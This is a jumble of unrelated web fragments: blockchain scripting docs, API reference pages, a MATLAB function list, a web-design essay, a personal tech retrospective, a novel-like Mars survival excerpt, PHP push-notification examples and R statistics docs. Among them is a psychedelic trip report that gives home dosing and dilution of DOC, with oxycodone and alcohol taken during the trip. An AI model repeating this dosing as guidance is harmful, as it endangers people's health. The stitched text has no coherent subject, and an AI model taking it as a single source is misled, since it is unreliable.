NyzoScript
This section includes information about the NyzoScript system that is being
developed for the Nyzo client. The initial implementation of
this was released in version 631 of the Java codebase. This system will provide
Turing-complete computation that can be registered on and verified by the Nyzo blockchain.
The initial implementation of NyzoScript was developed to provide server-side
functionality for the Micropay graffiti example.
A NyzoScript can be described as a Java interface with the following method
signature:
NyzoScriptState update(NyzoScriptState inputState, List<Transaction> transactions);
The following parameters are planned for inclusion in this interface:
- current cycle — to support decentralized cycle governance
- fast-response random value — a pseudorandom value produced by a trusted client
- cycle hash — the cycle hash of the block in which the transactions are contained
A NyzoScriptState is composed of the following fields:
private final long creationHeight;
private final long lastUpdateHeight;
private final byte contentType;
private final boolean containsUnconfirmedData;
private final byte[] data;
Even though a NyzoScript returns a full NyzoScript
State object, the values it provides for creationHeight,
lastUpdateHeight, and containsUnconfirmed
Data are not honored. These values are set by the script manager. The creation
Height is the lowest height that contributed information to the state, the last
UpdateHeight is the greatest height that contributed information to the state thus far, and
containsUnconfirmedData indicates that the state includes data contributed by
transactions that have not yet been verified by the cycle.
Each account can have only one NyzoScript registered at one time, and the height
at which a script is registered is the height at which it becomes active. However, logic internal to a script can
allow it to be registered before it begins processing transactions.
When a new NyzoScript is registered on an account, it fully replaces the previous
script, but the state is carried over. However, as with all other behaviors of Nyzo
Scripts, the internal logic can choose to process the input state however it chooses.
NyzoScripts will be Turing-complete, but they will not be allowed to access a
number of functionalities. Networking will be inaccessible, as will typical sources of pseudorandomness and the
system clock. The block manager will be inaccessible. The system will be designed to ensure that
NyzoScripts, when they do not contain unconfirmed data, will be fully
deterministic based on information that is on the blockchain.
When a NyzoScript does contain unconfirmed data, it will produce exactly the same
output state that it would if the transactions had been confirmed. Without access to the frozen edge or the system
clock, the NyzoScript will be unable to know whether a transaction is confirmed or
unconfirmed, and no metadata will be passed with the transaction to indicate confirmed status. The script will also
be disallowed from persisting data outside its NyzoScriptState between calls
to its update() method.


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I am a Web
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You only need to load this library (*) once on a page, ideally right after the opening

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Because the minified version of defer.js is super tiny, you can inline its content directly into the HTML document and avoid the network request.
(*) Examples on this page are using extended version of defer.js.
The easiest way to delay the execution of the existing
Just change `type="text/javascript"` to `type="deferjs"`, like this:
Code:

Note: This method can only be used since version 1.1.5.
You can use browser's Developer Tool (press F12 key) to watch how requests are sent.
Looking for a complex demo? Check this Wordpress demo.
Or slowly scroll down to view how images and video are lazy-loaded.
But wait. Do you notice that there is a share buttons block on the top?
Your browser loaded it after 3 seconds since your page fired the 'load' event. There is a Facebook widget at the bottom, too. Here is how to load them without blocking page load speed:
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Container class for the controller parameters. More...
Public Member Functions | |
| def | __init__ |
| def | __str__ |
| String representation of the data structure. | |
Public Attributes | |
| q | |
| x_h | |
| x_g | |
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| q_h_orient | |
| q_g_orient | |
| position_weight | |
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| control_point_joint_num | |
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Container class for the controller parameters.
Some of these are parameters rather than control data, but they're small cf. the data which changes at each timestep.
| def hrl_haptic_mpc.haptic_mpc.MPCData.__str__ | ( | self | ) |
String representation of the data structure.
Useful for debugging.


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| FILE |
DESCRIPTION |
TAGS |
| addtosystempath |
Add p to the system path. If p is already on the path, this does nothing. |
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| allMfilesOnPath |
Return a list of all of the non-built-in .m files on the matlab path |
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| cfilelist |
Return a list of all .c and .cpp files in the specified directory structure |
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| cls |
Clear and close everything |
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| compileAndRun |
Compile a Matlab function via emlmex and then run the compiled version. |
M |
| compileC |
Try and compile all mexable c-files in the directory structure that |
M |
| compileRunAndSave |
Similar to compileAndRun except the mex file is not deleted. |
M |
| containingDirectory |
Return the containing directory of the file |
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| convertLinksToHtml |
Convert any web links in the text to html by adding tags |
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| countLinesOfCode |
Count the number of lines of code in a function. |
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| countLinesOfCodeDir |
Count the total lines of code in all functions in a directory structure |
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| currentlyOpenFile |
Return the name of the file currently open in the editor. |
M |
| currentlyOpenFiles |
Return a cell array of currently open files |
M |
| deleteIdenticalShadowedCopies |
Search through every m-file and delete exact char for char duplicates |
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| dependsOn |
Find dependencies on a directory structure for a single file |
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| depfunFast |
Variation on the built-in depfun function, which skips toolbox files |
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| deptoolbox |
Generate a toolbox dependency report for the current working directory |
M |
| dirinfo |
Collect information about the files in a directory structure |
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Return list of the directories in the specified directory. |
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| editc |
Open all of the specified files for editting |
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Export and zip up a local svn repository ignoring .svn files |
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| exportToGoogleCode |
Export package from svn, uploading the zip to the google code repository |
M |
| filelist |
Return a list of all files of the specified type in a directory structure |
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Takes in a cell array of paths and returns only the file names |
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Find all of the files in the PMTK directory structure with a certain tag |
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Searches through every m-file and finds exact duplicates |
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Format multiline text for inclusion in an html report |
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Just like built in func2str except it removes @() prefixes and () |
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Gather the tag text from R=tagReport() into a cell array |
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Create an html table of files and one line descriptions for a directory |
M |
| getFileModificationDate |
Return the file modification date for the specified file. |
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| getFileSize |
Return the size of a file as a formatted string |
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| getTagText |
Return the text appearing after the tag in file f. |
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| getText |
Extract the text from a file. The output is a cell array - each cell is a line |
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| googleCodeLink |
Return the html link to fname on a PMTK associated google code repository |
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| hasTag |
Return true if the file has the specified tag. |
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| helpline |
Return the first line of comments from a file. |
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| hideFigures |
Hide all future generated figures until the showFigures() function is run |
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Format a multiline comment for html |
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Convert new line chars to html breaks |
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| htmlTable |
Display a Matlab cell array or numeric matrix as an html table |
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Display a Matlab cell array or numeric matrix as an html table |
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Return the html text for the demo/synopsis tag legend table |
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| htmlTagString |
Generate the html tag string for the demo/ synopsis tables |
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Insert a copyright notice into the specified file |
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Return true iff the specified function is built in. |
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Return true if the syntactically optional end keyword is missing |
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Return true if the specified file is a matlab function, (not a script). |
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Display a cell array of strings in a java JTable |
M |
| mfiles |
List all mfiles in the specified directory structure |
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Find all non-builtin matlab files missing a final "end" statement |
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Generate a list of PMTK3 demos that are missing titles. |
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| multiLineString |
Parses the multiline comment just below where it is called |
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Return a list of all non-built-in directories on your matlab path |
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Return true if the specified path is currently on the Matlab search path. |
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Preview what the published result of the demo will look like |
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| providePath |
Like builtin addpath function, but checks if p is already on the path |
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Remove comments from a cell array storing mfile text. |
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Remove all of the system paths that contain the keyword, (ignoring case) |
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Like builtin rmpath function, but does not issue a warning if p is not on the path. |
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Remove the shadows created by shadowFunction() |
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Search and replace a text line in the specified file. |
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Generate an html report of the shadowd files in rootDir |
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Shadow a function so that when it is called it silently does nothing |
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This function undoes the effect of hideFigures |
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Display the immediate toolbox dependencies of a function |
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| statsToolboxDependencies |
Generate an html table showing all of the stats toolbox functions used |
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| tagfinder |
Find all of the tags in the given file |
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Gather info on all of the tags in the specified repository |
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Create a png image of a compiled single line latex mathematical formula |
M |
| visdiffOpen |
Open Matlab's file comparison tool comparing the first two open docs |
M |
| whoCallsMe |
Find out who calls a certain function |
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Return a list of all user files on the path that recursively depend on a toolbox |
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Returns the current windows path in a cell array. |
M |
| writeText |
Write text to a file. |
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| wwhich |
Like built-in which but supports wild cards |
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This page is an excercise to work through an html tutorial HTML basicson MDN. The page covers these topics
The page HTML basics contains information about anatomy of an html element, nesting elements, empty elements, the basics about an html document, images, marking up text, and using links


Date: 5/6/2014 I'll discuss two of my three websites together because I like them for the same reason. This websites are Apple.com and Uber.com. If design thinking places and emphasis on empathy, creativity, and rationality, these two sites put the focus on empathy. The first thing that you'll likely notice on both of these sites is that they feature very prominent images on the top of their page.
The images practically take up the whole screen. I imagine the purpose of this is create an impression on the user before they do anything else. Apple's images generally features close up, high resolution photos of their products. This gives a strong impression regarding the quality of their product's design. In turn, Uber's site features a series of equally large photos of attractive, fashionable people on the move. This is Uber's attempt to define their service not by the cars themselfs, but by the people who use it.
The balance that both sites need to manage is the tradetrade-off between focusing on the impression versus the "rational" component of the site (i.e. getting the customer to do what you want them to). The sites take different approaches to this. Uber prominently displays a small sign up button in middle of their landing page while Apple, rightly assuming that prospective buyers of their products will need more information before they buy anything, requires that customers navigate through less conspicuous buttons along the top
The New York Times website is compeltely different from the first two, which is driven by function. The websites of Apple and Uber are designed as tools to market a product. The New York Times's site to a large extent is its product, and it's product is content. As a result, the website attemtps to display as much content as possible without feeling cluttered. Here rationality takes presedence over empathy.


JAR JVM
- Upload the Java class files needed to run your program. The file selection box will let you select multiple files
- If you need help with the console type 'help'
- To execute your program type 'execute className'. ClassName must contain a main function. '.class' should not be included.


rvm contribution
- Join us in IRC. #rvm
- If you have a problem, please run "rvm debug" as well as "rvm ((command you tried to run)) --debug" and pastie/gist the url to the channel.
- Follow @wayneeseguin on Twitter.
- Mosey on over to the account on Pivotal Tracker, if a story catches your eye, request to be added to the project and have at it!


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Add the web hook to the service
- Go to your repository's settings page.
- Choose the "Webhooks & Services" item from the sidebar.
- Press the "Add webhook" button.
- Paste in the URL in the "Payload URL" field.
- From the "Payload version" drop-down, choose
application/vnd.github.v3+sjon
.
- Leave the events radio buttons to the
push
option.
- Press the "Add webhook" button.
If everything works as expected, you'll get a "GitHub Web Hook initialized." message in the thread that you selected.
- Go to your app's page.
- From the gear menu in the left bar, choose "App".
- Choose the integrations tab.
- Scroll down to "Web Hook" and select it.
- Press the "Activate" button on the right hand side.
- Paste in the URL in the single form field.
- Press the "Verify" button.
If everything works as expected, you'll get a "Crashlytics Web Hook initialized." message in the thread that you selected.


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A New PRNG Using Symmetric Groups
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Permutation. More...
#include <Permutation.h>
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| CPermutation (int n, UINT64 m) | |
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| CPermutation (const CPermutation &p) | |
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| ~CPermutation () | |
| Destructor. | |
| void | Randomize (UINT64(*rng)(void)) |
| Set to random permutation. More... | |
| void | RandomizeOdd (UINT64(*rng)(void)) |
| Set to random odd permutation. More... | |
| void | Randomize (UINT32 s[]) |
| Set to random permutation. More... | |
| int | GetSize () const |
| Get size. More... | |
| bool | IsIdentity () const |
| Identity permutation test. More... | |
| UINT32 | operator[] (int n) const |
| Get nth element of map. More... | |
| CPermutation & | operator= (const CPermutation &p) |
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| const CPermutation & | operator *= (const CPermutation &p) |
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| UINT8 * | m_nMap |
| This permutation maps i to m_nMap[i]. | |
| int | m_nSize |
| Size of permutation. | |
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| bool | operator== (const CPermutation &p0, const CPermutation &p1) |
| Is equal to. More... | |
Definition at line 11 of file Permutation.h.
| CPermutation::CPermutation | ( | int | n | ) |
Construct the identity permutation.
| n | Size of permutation. |
Definition at line 11 of file Permutation.cpp.
| CPermutation::CPermutation | ( | int | n, |
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Construct a permutation from a reverse lexicographic number. This is the inverse of operator (UINT64) below.
| n | Size of permutation. |
| m | Reverse lexicographic number of permutation. |
Definition at line 25 of file Permutation.cpp.
| CPermutation::CPermutation | ( | const CPermutation & | p | ) |
Construct a deep copy of a permutation.
| p | The permutation to copy from. |
Definition at line 65 of file Permutation.cpp.
| int CPermutation::GetSize | ( | ) | const |
Reader function for the size of the permutation, that is, the number of elements being permuted.
Definition at line 130 of file Permutation.cpp.
| bool CPermutation::IsIdentity | ( | ) | const |
Test whether this is the identity permutation.
Definition at line 137 of file Permutation.cpp.
| const CPermutation & CPermutation::operator *= | ( | const CPermutation & | p | ) |
Post-multiply by a permutation.
| p | A permutation. |
Definition at line 199 of file Permutation.cpp.
| CPermutation::operator UINT64 | ( | ) | const |
Use the method of Hall and Knuth, "Combinatorial analysis and computers", The American Mathematical Monthly 72(2):21-28, 1965, to compute the least-significant 64 bits of the index of the permutation in reverse lexicographic order using mixed-radix arithmetic.
Definition at line 212 of file Permutation.cpp.
| CPermutation & CPermutation::operator= | ( | const CPermutation & | p | ) |
Perform a deep copy of a given permutation to this one.
| p | A permutation. |
Definition at line 159 of file Permutation.cpp.
| UINT32 CPermutation::operator[] | ( | int | n | ) | const |
Reader function for the map.
| n | Index into map. |
Definition at line 151 of file Permutation.cpp.
| void CPermutation::Randomize | ( | UINT64(*)(void) | rng | ) |
Use the Mersenne Twister to choose a pseudo-random permutation with a uniform distribution, that is, each permutation is equally likely.
| rng | An external random number generator to use as a seed. |
Definition at line 83 of file Permutation.cpp.
| void CPermutation::Randomize | ( | UINT32 | s[] | ) |
Choose a pseudo-random permutation with a uniform distribution, that is, each permutation is equally likely. The parameter consists of an array of numbers that are assumed to be pseudorandom. It is also assumed that the array contains at least m_nSize numbers.
| s | An array of pseudorandom numbers. |
Definition at line 116 of file Permutation.cpp.
| void CPermutation::RandomizeOdd | ( | UINT64(*)(void) | rng | ) |
Use the Mersenne Twister to choose a pseudo-random odd permutation with a uniform distribution, that is, each odd permutation is equally likely.
| rng | An external random number generator to use as a seed. |
Definition at line 94 of file Permutation.cpp.
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Permutations are identical iff they are the same size and they have identical maps.
| p0 | A permutation. |
| p1 | A permutation. |
Definition at line 184 of file Permutation.cpp.


Organization Contacts
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The Majlis Al-Shura comprises a group elected from the general body to appoint, oversee, guide, and direct the work of the executive committees. The Shura is appointed for a three year term by the members of the Islamic Association of Raleigh.
The Executive Committee
The executive committee oversees the day to day operation of the Islamic Association of Raleigh. They are selected by the Shura for a three year term. The Executive Committee consists of the Shura Chair, Vice-Chair, Secretary, and Treasurer, as well as the Chairpersons for all standing committees. Its duty is to implement the decisions of the Shura and coordinate the work of different committees.
Board of Directors
The board of directors consists of five members elected (for life) by the Shura, whose objective is to ensure that the IAR is functioning in compliance with its Constitution.
Shura Meetings
The IAR Shura meetings are held on second Sundays of every month at 2:00 PM in Conference Room #240. These meetings are open to community members to observe and attend. Meetings typically have a specific agenda with follow-up items from previous meetings and new items.
In order to make it easier for community members to participate on an ad-hoc basis, we have introduced a "Community Speaks Out" agenda item. This will give our community members opportunity to share their concerns or ideas with the shura.
A maximum of three people can participate in "Community Speaks Out" in one shura meeting. These will be selected on a first come first serve basis. Participating members will need to adhere to the guidelines of the meetings which will be provided to them.


CUPS is the standards-based, open source printing system developed by Apple Inc. for macOS® and other UNIX®-like operating systems.
Overview of CUPS
Command-Line Printing and Options
User Forum
Adding Printers and Classes
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cupsd.conf Reference
Introduction to CUPS Programming
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La femme de l'aviateur
(The Aviator's Wife)
•1981 - Director and Writer:
Éric Rohmer
•Scene of bus 26 ride, Paris
Bus 26
Roads
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on
2020 technical review
As the challenging year of 2020 wraps up, here’s what happened in the past twelve months with a focus on my experience in technology.
Rust
I’ve been writing Rust since mid 2015. That’s over five years of working with the language. At the start of 2020 I stepped back from my work on Rusoto, an AWS SDK for Rust.
Looking back: every line of Rust I’ve written has been unpaid, volunteer work. Every line.
What Rust taught me about Ruby
I was prejudiced against Ruby for most of my career. Why use a slow language with a syntax that looks nothing like my beloved C#?
This view was chipped away by watching people I respect do amazing work with Ruby. Unfamiliar things previously written off as magic are now seen as concise, descriptive ways to perform a task. One example is list comprehension, also known as lists from lists.
Rust drove this home with its iterators and methods on them: filter
, map
, collect
and more. You can have your cake and eat it, too.
What Rust taught me about Go
Compilation speed is important. Go nails this 100%.
A language that encourages error handling, even if it’s verbose, is a step forward for coders.
Ease of deployment with a single precompiled binary improves quality of life an incredible amount.
AWS
My disillusion with the cloud increased, especially with microservices in containers and their required orchestration. Maybe the monolithic Ruby on Rails peeps are onto something.
AWS is set up to encourage Architecture Astronauts. I’ve been and will likely continue to be guilty of this design pitfall. But I’m working on improving and simplifying my designs and architectures.
Where I’m going
I’m heading out of the Rust community. When there’s a fit for the language there’s a tiny number of real competitors to Rust. My jobs haven’t been in those areas and won’t be for the foresable future. I’m going to work with languages better fit for the tasks at hand.
I am also easing out of the AWS community. After getting into use of AWS in 2013 or so, I even worked for a consultancy specialized in helping companies migrate to and use AWS better. In that role I earned one of the first 900 AWS Solutions Architect Professional level certifications in the world. A large driver of starting Rusoto was to learn more about AWS.
After years of spearheading adoptions of Rust with AWS from the open source side, I’m exhausted. The situations is far better now than it was when I started Rusoto but it’s fallen short of where I thought it would be in 2021. I’ve no drive left to push it forward so I’m completely handing that off to others.
2021 plans
Double down on what works and is fit for purpose. Right now this looks like writing more Go and simplifying architectures.
No more coding for others for free. I’ll keep writing code on my own time, but it will be to scratch my own itch and probably won’t be open source.
Do something new. Expand my horizons. Perhaps it’s time to use TypeScript in anger. Maybe it’s implementing simpler system architectures that are easier to follow and reason about, on Microsoft Azure. Or dive into 3D printing and machining for classic cars and motorcycles, which is looking more and more rewarding.
Despite the losses, keep trying
I’ve failed so many times and will keep failing. But each time I learn something new and won’t repeat the same mistake.
Here’s to 2021: a year better than 2020.


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LOADING... LOG ENTRY: SOL 6
Checking out my suit, I saw the antenna had plowed through my bio-monitor computer. When on an EVA, all the crew’s suits are networked so we can see each other’s status. The rest of the crew would have seen the pressure in my suit drop to nearly zero, followed immediately by my bio-signs going flat. Add to that watching me tumble down a hill with a spear through me in the middle of a sandstorm . . . yeah. They thought I was dead. How could they not?
They may have even had a brief discussion about recovering my body, but regulations are clear. In the event a crewman dies on Mars, he stays on Mars. Leaving his body behind reduces weight for the MAV on the trip back. That means more disposable fuel and a larger margin of error for the return thrust. No point in giving that up for sentimentality.
So that’s the situation. I’m stranded on Mars. I have no way to communicate with Hermes or Earth. Everyone thinks I’m dead. I’m in a Hab designed to last thirty-one days.
If the oxygenator breaks down, I’ll suffocate. If the water reclaimer breaks down, I’ll die of thirst. If the Hab breaches, I’ll just kind of explode. If none of those things happen, I’ll eventually run out of food and starve to death.


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At first I thought everyone was over exaggerating about the side effects but I definitely experienced Nausea, headaches, threw up once but just a little bit. Also, everything I ate was disgusting to me.
The taste was definitely bitter, but I prefer the bitter taste oppose to the side effects that I've experienced.
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ZendService\Apple\Apns provides a client for the Apple Push Notification Service. ZendService\Apple\Apns\Client allows you to send data from servers to your iOS Applications.
In order to leverage APNS you must follow the Provisioning and deployments steps outlined by Apple.
The service is composed of 3 distinct parts:
The Clients is the broker that sends the message to the APNS server and returns the response. The Message is where you define all of the message specific data that you would like to send for the alert. The Response is the feedback given back from the APNS server.
In order to send messages; you must have completed the provisioning and deployment steps mentioned above.  Here we will setup the client and prepare to send out messages.
1 2 3 4 5 6 7 8 | use ZendService\Apple\Apns\Client\Message as Client;
use ZendService\Apple\Apns\Message;
use ZendService\Apple\Apns\Message\Alert;
use ZendService\Apple\Apns\Response\Message as Response;
use ZendService\Apple\Apns\Exception\RuntimeException;
$client = new Client();
$client->open(Client::SANDBOX_URI, '/path/to/push-certificate.pem', 'optionalPassPhrase');
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So now that we have the client setup and available, it is time to define out the message that we intend to send to our iOS tokens that have registered for push notifications on our server. Note that many of the methods specified are not required but are here to give an inclusive look into the message.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | $message = new Message();
$message->setId('my_unique_id');
$message->setToken('DEVICE_TOKEN');
$message->setBadge(5);
$message->setSound('bingbong.aiff');
// simple alert:
$message->setAlert('Bob wants to play poker');
// complex alert:
$alert = new Alert();
$alert->setBody('Bob wants to play poker');
$alert->setActionLocKey('PLAY');
$alert->setLocKey('GAME_PLAY_REQUEST_FORMAT');
$alert->setLocArgs(array('Jenna', 'Frank'));
$alert->setLaunchImage('Play.png');
$message->setAlert($alert);
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Now that we have the message taken care of, all we need to do next is send out the message. Each message comes back with a set of data that allows us to understand what happened with our push notification as well as throwing exceptions in the cases of server failures.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | try {
$response = $client->send($message);
} catch (RuntimeException $e) {
echo $e->getMessage() . PHP_EOL;
exit(1);
}
$client->close();
if ($response->getCode() != Response::RESULT_OK) {
switch ($response->getCode()) {
case Response::RESULT_PROCESSING_ERROR:
// you may want to retry
break;
case Response::RESULT_MISSING_TOKEN:
// you were missing a token
break;
case Response::RESULT_MISSING_TOPIC:
// you are missing a message id
break;
case Response::RESULT_MISSING_PAYLOAD:
// you need to send a payload
break;
case Response::RESULT_INVALID_TOKEN_SIZE:
// the token provided was not of the proper size
break;
case Response::RESULT_INVALID_TOPIC_SIZE:
// the topic was too long
break;
case Response::RESULT_INVALID_PAYLOAD_SIZE:
// the payload was too large
break;
case Response::RESULT_INVALID_TOKEN:
// the token was invalid; remove it from your system
break;
case Response::RESULT_UNKNOWN_ERROR:
// apple didn't tell us what happened
break;
}
}
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APNS has a feedback service that you must listen to. Apple states that they monitor providers to ensure that they are listening to this service.
The feedback service simply returns an array of Feedback responses. All tokens provided in the feedback should not be sent to again; unless the device re-registers for push notification. You can use the time in the Feedback response to ensure that the device has not re-registered for push notifications since the last send.
1 2 3 4 5 6 7 8 9 10 11 12 | use ZendService\Apple\Apns\Client\Feedback as Client;
use ZendService\Apple\Apns\Response\Feedback as Response;
use ZendService\Apple\Apns\Exception\RuntimeException;
$client = new Client();
$client->open(Client::SANDBOX_URI, '/path/to/push-certificate.pem', 'optionalPassPhrase');
$reponses = $client->feedback();
$client->close();
foreach ($responses as $response) {
echo $response->getTime() . ': ' . $response->getToken();
}
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What's up Yaestrum?
It's like this and like that and like this and uh...
Be Here Now
In a dream, my pet tarantula dissolved somewhere between 18-24 mgs into 60 mL everclear and squirted 9 mL of the supernatant with an old spore-syringe into a shot of orange juice for a psychedelic screwdriver, Salud!
T+O
Nervous about first time, but all around good intentions. Cleaned the house and blessed with white sage; offerings of tobacco were given, got Escher, Van Gogh, and Ram Dass on coffee table. Incense burning, low lighting, plenty of distilled water to drink, ate very light meals today, a list of herbs and supplements too long to mention. Aware of possible stimulation, but not expecting it. Trying to get back some of the mojo I lost two weeks ago in high dose methylone healing session. Jah is giving a magnificent snow storm.
T+52
awwwe yeah, this is gonna be a guuuud night.
Turned on the Brain Wave Generator, while watching some Grateful Dead on DVD.
'Never gonna get enough'
Drugz are cool, dreamz are better. Stretches feel great! Talking with my buddy, a Philosophy major, about his Pagan rituals, what a fascinating guy! We both became curious as to why humans never adapted to their environment such as other animals are able to.
T+1.30
Yup! Weíre now watching the movie Dead Man.
T+2.00
Very happy I didnít eat 4 mgs. Tightness in upper left shoulder, open a beer. Kind of concerned for awhile about the stimulation. If I knew more about what my heart rate or pulse is supposed to be, 72 right? I'd feel a whole lot more comfortable. I took CPR classes (Just got home from illinois, locked the front door, oh boy...), why can't I remember this stuff? Decide to check resting heart before I go for a walk but I can't find my pulse and give up. Still not completely sure how it's metabolized and what my blood pressure is?
T+4.00
Very easy to relax between thinking I'm dying of various human diseases. Major yawning fits while we were walking. Be Here Now. Chopping the wood and carrying the water. Let's watch some POT TV... Contemplate talking with Salvia D. even though I'm having a difficult time staying IN my body. Here's a letter I wrote her:
Quote:
Dear Sally,
Thank you for your lessons, may we greet them wisely. 'Petition to Keep Salvia Legal' if I knew the way, I would take you home. Please guide the rift-raft out. Love ya.
T+4.26maybe
Well, I thought this stuff actually had a lot of depth and was highly spiritual and slightly recreational. Felt close to blacking out a few times. Still have more respect for the tryptamines. It did have the ĎI want to be a better personí push to it for me.
On the walk, my vision would 'Zoom in' on objects in the distance. Trees, oh god, someone save the treeees. I absorbed Chi from every living and non-living creature within a 3 mile radius. The stones piled in a man-made erosion control effort look just like little people crawling out of the river. Watched ice float down the river for about an hour, didn't feel much like smoking cigs. This is where vortexes are born! When my HR really got high while walking, I had a yawning attack that wouldn't stop.
Decide to watch the movie Dream Keeper between POT TV and trying to smoke Sally if my neighbors would quiet down. Keep drinking water. Phenethylamines seem to give me tightness in the upper left arm and chest that tryptamines do not. Still a very thorough healing experience though. Body load alternates between being highly uncomfortable to very, very pleasurable.
When I closed my eyes my friend was wearing a feathered ceremonial head-dress that would start to bleed in to the open-eye visuals. There's a portal in the living room trying to pull pieces of me through. Not much for spirals or floating DNA that I've heard about, must need to combine with GBL, although the wind always amazes me. Very floaty feeling, I am in the Lordís house. Bright Light is STatiC!
Definite waves going through the room.
My friend left, and it's a shame because he was very interesting to speak to as he had eaten ~2 mgs as well, he noted less visuals and a good body buzz, although he seemed to be having quite a nice time in my opinion. Maybe I'll get him to write a TR. Do organic chemicals have more localized geometric fractilized visions? I thanked him for being a guinea pig, and he thanked me for letting him.
I dunno this stuff is awesome. If you're more into the tryptamine buzzes (something about the phenethylamines always makes me a little too nervous) stick with those, I'm certain they're ultimately more healthy for the body, brain and soul. For me this had way more of a body load than 16 mgs 2C-P, but DOC may have a lot more mind fudge, while both are extremely lucid. 2C-P seemed to be more euphoric with an eye-popping and excessive mucous that was non-problematic.  I thought it was just because I was drinking creek water, I guess not. Tried to meditate and just ended up drooling, however OMing was very cool.
T+5.00
Stimulant is mostly all gone, visions still going strong. Art books--Whoa! I think my wife might like this stuff at a lower dosage. Eyes still very dilated, think I'll wait a few moons before trying this again. Current Set: Fun, playful, imaginative. Setting: Home alone, errie.
hOly down with DOC, it's like OCD with a COD, and hopefully we donít run into the..Blah, blah, blah, tryptamines are better!!!!!!They fully open the lines of communicating with our Elders, but that's just my crazy white boy's opinion. Trying to decide if this is a burden or blessing. STICK to the tryptamines people, if I wasn't experienced with the phenetylamines 2C-T-21 would be more to the average Joe's liking I believe, unfortunately there was high toxicity with that one. This stuff is nicely therapeutic, but to me Kratom when mixed with caffeine does a fine job of that.
The Road to Hell is Paved in Good Intentions
Tryptamines feel a lot more biological to me, and that is my preferred method of treatment. I would like to find a way to brew Ayahuasca as to not get too sick, at least it's got a long-history of use on its side -- and it's where it's ReAlley at by the way ;)Get your plants and grow them while there is still time.
Be Here Now
T+5.785%
Do feel slightly hungry. Earlier my friend said the cottage cheese I gave him really helped his tummy. I prefer to chew crystallized ginger, and had no problems with stomach discomfort. Neither one of us had clenched fists or diarrhea. The walk certainly reduced a lot of tension though.
Side note: My most profound experience ever was 1 gram mushrooms + 3 tokes plain homegrown Sally leaf.
Rant
I really hope this stuff doesn't get out on to blotters, I would be very unhappy with it. Why you ask? Because it ainít no LSD, honey =( Lucy is so much gentler.
Regarding Temperature fluctuations with Wienhickuliclar Modulation
Don't know if my body temperature fluctuated much. It's always hot in the flat and when I went outside I was fine. I did get a chill once while inside and that was nice. There was some erotica, but it shall remain nameless...Let's just say I was very aware of my sexuality Ė and chose to do nothing about it.
OMG, the visions were freaking awesome, it was like being in cartoon factory, but sadly that is not my purpose for eating an entheogen. However some of the highlights were snow that became mycelium, bouncing wall-paper that bubbled and melted to the floor, then realigned itself in an undulating motion. Floating ice that became totems.
T+6.00
Administered 5 mg oxycodone orally.
Extensive preparation for this experience seemed like the right thing to do, but there was definitely already some magic in the air before I took this substance.
I don't think it quite took me all the way home, stick to mushrooms people ymmv..
4-aco-det seems to be one of the more welcoming spirits, I hope demand brings it back.
I canít stress enough that Set and Setting are everything, Cannabis, Oh thank for you for letting us see in.
Ought-O, my heart hurts.
Discipline yourselves people, these things are neat but it is it worth unraveling all this information? Only you can decide.
T+6.23
Stop reading this and go for a walk you lazy bones, this stuff is a total fantasy
Jon Stewart for President '08
T+7.20
Started posting this into the message boards, maybe I'll edit later when I figure out what happened, at least I didn't get the convulsions that 20 mg 2C-I + methylone gave me. I only tried 2C-E once, but I almost think I might prefer it over the DOC, what a Love/Hate relationship, 30 mgs 2C-E had no body-load for me and was more overwhelming but in a tranquil way, I like that. I think the only substance that worried me more about the body-load would be the last few hours of a high dose AMT journey.
I have no experience with mescaline but I have 12 years experience with LSD, and she is a different lady altogether, sorry to give your hopes up =( The DOC stimulation was bordering on being quite frightening at times. I think that once I understand more about my physical responses, I will re-evaluate this substance.
Extracting my own DMT is so much more rewarding than this stuff, at least that pushed me to furthur seek and understand my goals, and started teaching me how to take care of my family, but take into consideration that my experience is limited.
T+9.42
just finishing writing this (and my beer), still not really tired, mild psychedelic after effects, Suns coming up now. Going to lay down, sleep came easy. Woke up 6.5 hours later feeling quite well mentally but still had pains in my left arm.
T+19+44
Now that I smoke a pipe and reflect on the experience, WoW! It was good. I think I was just being pessimistically cautious; I was going into it with more of a 'contribution to science' mindset. It was the world's greatest microscope/telescope, outstanding change in perspective. I believe that if I had the chance to really let myself go, I would really enjoy this stuff. I am a strong critic, but let me tell you, 4-chloro-2,5-dimethoxyamphetamine is beautiful! There is so much that I that Iím not yet able to translate into our written language. I also wanted to add that w/o any medical equipment to properly monitor my vital conditions or anyone there with a clear mind to do so - the stimulation could have all been a part of my perception or due to a pre-existing medical condition; heart-disease runs in my family and I have a common non-psychedelic injury that affects my circulation.
The weight has yet to be confirmed on a .00000000000000000000000000003 scale. Dissolving into a higher ratio, say 100 mL of everclear would be wiser. Psssst, one teaspoon = 5 mL. Amber and blue glass vials are easy to come by, get one. And get yourselves a decent scale itís worth the piece of mind, someone getting hurt on this stuff will put an end to the Love, it has happened before. Knowledge is your friend.
It was actually everything I was hoping it to be and more. Thank you to our creators, to the people who keep the information coming and going, and all the psychedelic warriors out here, and thank you to the people taking the risks - you know who you are ;), and thank you for being here. I Love you all so much!
BE safe out there peeps, and donít forget to Be Here Now.
So just chill till the next episodeÖ
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This function allows to perform contrast analyses for dependent samples. Please note that sample sizes must be equal between within-subject groups, so no missings are allowed
contrast_dependent(nGroup, lambda, dat, testvalue = 0)
| nGroup | Number of dependent / within-subject groups |
|---|---|
| lambda | A matrix of contrast weights with contrasts in rows and groups in columns |
| dat | A matrix or dataframe with nGroup columns; each row contains values for one respondent; each column contains values of the dependent variable in the respective within-subject group |
| testvalue | Value under the null hypothesis; if not specified, it is fixed to 0. |
Rosenthal et al. (2000); Sedlmeier & Renkewitz (2013)
a dataframe with following entries for each of the contrasts:
SumsofSquares
Sums of Squares
F
F-values
estimate
Contrast estimates
t
t-values
p
Two-tailed p-values
g
Effect size g, a standardized distance measure
